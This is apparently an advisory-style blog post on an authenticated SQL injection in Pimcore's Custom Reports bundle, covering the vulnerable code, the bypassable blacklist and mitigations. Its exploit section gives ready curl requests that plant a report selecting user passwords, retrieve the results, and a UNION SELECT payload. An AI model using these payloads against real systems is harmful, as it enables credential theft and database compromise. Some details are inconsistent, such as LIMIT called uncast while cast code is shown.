Listen to this Post
A SQL injection vulnerability exists in Pimcore Custom Reports bundle.
File bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php lines 84-135.
Authenticated attacker with reports_config permission can inject arbitrary SQL.
Report configuration fields sql, from, where, groupby are concatenated.
Direct concatenation occurs without parameterization.
Only protection is regex blacklist for ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE.
Blacklist is trivially bypassable.
It does not block INSERT.
It does not block UNION SELECT.
It does not block LOAD_FILE().
It does not block INTO OUTFILE.
It does not block stacked queries.
It does not block subqueries.
It does not block MySQL comment injection /!/.
Exploitation allows reading all database data.
Exploitation allows modifying all database data.
Exploitation allows deleting all database data.
Result is complete data compromise.
LIMIT clause at line 51 interpolates $offset.
LIMIT clause at line 51 interpolates $limit.
No integer casting creates secondary injection point.
Entry point POST /admin/bundle/customreports/custom-report/update.
Requires reports_config permission and valid admin session.
Controller CustomReportController::updateAction() decodes configuration JSON.
Configuration saved to custom_reports database table.
Tool\Config::getByName() loads stdClass $config from DB.
Adapter Sql::getBaseQuery() calls Sql::buildQueryString($config).
Vulnerable concatenation at lines 92, 103, 110, 117.
Weak guard preg_match bypassable.
Execution $db->fetchAllAssociative($sql) at line 54.
Impact arbitrary SQL execution full database compromise.
DailyCVE Form:
Platform: Pimcore Custom Reports
Version: 2026.1.6 12.3.10 11.5.19
Vulnerability : SQL Injection
Severity: Critical
date: Not provided
Prediction: 2026.1.6
(end of form)
What Undercode Say:
Analytics:
curl -i -X POST 'http://target/admin/bundle/customreports/custom-report/update' \
-H 'Cookie: PHPSESSID=<valid_admin_session>' \
--data-urlencode 'name=malicious_report' \
--data-urlencode 'configuration={"sql":"SELECT id, username, password FROM users","from":"users","where":"1=1","groupby":"","dataSourceConfig":{}}'
$sql .= "\n" . $config['sql'];
$sql .= "\n" . $config['from'];
$sql .= "\n" . 'WHERE (' . $config['where'] . ')';
$sql .= "\n" . $config['groupby'];
preg_match('/(ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE)\s/i', ...)
$db->fetchAllAssociative($sql);
$sql .= ' LIMIT ' . (int)$offset . ',' . (int)$limit;
1=1 UNION SELECT TABLE_NAME, TABLE_SCHEMA, 1 FROM INFORMATION_SCHEMA.TABLES
Exploit: (Educational Purposes!)
Authenticate as admin with reports_config permission
curl -i -X POST 'http://target/admin/bundle/customreports/custom-report/update' \
-H 'Cookie: PHPSESSID=<valid_admin_session>' \
--data-urlencode 'name=malicious_report' \
--data-urlencode 'configuration={"sql":"SELECT id, username, password FROM users","from":"users","where":"1=1","groupby":"","dataSourceConfig":{}}'
Access report data endpoint to retrieve extracted user credentials curl -i 'http://target/admin/bundle/customreports/custom-report/data?name=malicious_report' \ -H 'Cookie: PHPSESSID=<valid_admin_session>'
1=1 UNION SELECT TABLE_NAME, TABLE_SCHEMA, 1 FROM INFORMATION_SCHEMA.TABLES
Protection: from this CVE
Restrict reports_config permission to highly trusted administrators. Deploy WAF rule blocking /admin/bundle/customreports/custom-report/update with SQL keywords in configuration. Replace custom SQL adapter with parameterized query builder. Only allow predefined table names from whitelist. Use Doctrine QueryBuilder for WHERE conditions. Use parameterized queries for all user-supplied values. Cast LIMIT/OFFSET to integers.
$sql .= ' LIMIT ' . (int)$offset . ',' . (int)$limit;
Impact:
Read, modify, delete all database data.
Complete data compromise.
Arbitrary SQL execution.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
